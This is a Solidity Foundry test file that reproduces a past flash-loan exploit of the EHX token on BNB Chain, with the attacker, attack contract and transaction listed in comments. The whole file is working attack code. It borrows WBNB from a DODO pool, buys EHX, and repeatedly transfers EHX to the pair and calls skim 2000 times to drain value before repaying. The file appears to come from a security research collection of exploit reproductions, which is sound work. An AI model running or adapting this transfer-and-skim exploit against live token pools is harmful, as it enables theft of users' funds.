src/test/2023-11/EHX_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "./../basetest.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : Unclear
8// Attacker : https://bscscan.com/address/0xddaaedcf226729def824cc5c14382c5980844d1f
9// Attack Contract : https://bscscan.com/address/0x9d0d28f7b9a9e6d55abb9e41a87df133f316c68c
10// Vulnerable Contract : https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51
11// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x8b528372b743b4b8c4eb0904c96529482653187c19e13afaa22f3ba4e08fbfbb
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51#code#L1200
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/MetaSec_xyz/status/1724691996638618086
19// Hacking God :
20 
21contract EHXExploit is Test {
22    DVM private constant DPPOracle = DVM(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
23    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
24    Uni_Pair_V2 private constant EHX_WBNB = Uni_Pair_V2(0x3407c5398256cc242a7a22c373D9F252BaB37458);
25    IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
26    IERC20 private constant EHX = IERC20(0xe1747a23C44f445062078e3C528c9F4c28C50a51);
27 
28    uint256 private constant blocknumToForkFrom = 33_503_911;
29    // Value comes from raw data passed to function with selector '0x40b2f80f' (see attack tx)
30    uint256 private constant flashAmountWBNB = 5_589_328_092_301_986_679;
31 
32    function setUp() public {
33        vm.createSelectFork("bsc", blocknumToForkFrom);
34        vm.label(address(DPPOracle), "DPPOracle");
35        vm.label(address(Router), "Router");
36        vm.label(address(EHX_WBNB), "EHX_WBNB");
37        vm.label(address(WBNB), "WBNB");
38        vm.label(address(EHX), "EHX");
39    }
40 
41    function testExploit() public {
42        emit log_named_decimal_uint(
43            "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
44        );
45 
46        DPPOracle.flashLoan(flashAmountWBNB, 0, address(this), bytes("_"));
47 
48        emit log_named_decimal_uint(
49            "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
50        );
51    }
52 
53    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
54        WBNB.approve(address(Router), type(uint256).max);
55        WBNBToEHX();
56        uint256 amountEHXToTransfer = EHX.balanceOf(address(this)) / (300e6);
57        uint256 i;
58        // More iterations possible
59        while (i < 2000) {
60            EHX.transfer(address(EHX_WBNB), amountEHXToTransfer);
61            EHX_WBNB.skim(address(this));
62            ++i;
63        }
64        EHX.approve(address(Router), type(uint256).max);
65        EHXToWBNB();
66        WBNB.transfer(address(DPPOracle), baseAmount);
67    }
68 
69    function WBNBToEHX() private {
70        address[] memory path = new address[](2);
71        path[0] = address(WBNB);
72        path[1] = address(EHX);
73        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
74            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000
75        );
76    }
77 
78    function EHXToWBNB() private {
79        address[] memory path = new address[](2);
80        path[0] = address(EHX);
81        path[1] = address(WBNB);
82        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
83            EHX.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000
84        );
85    }
86}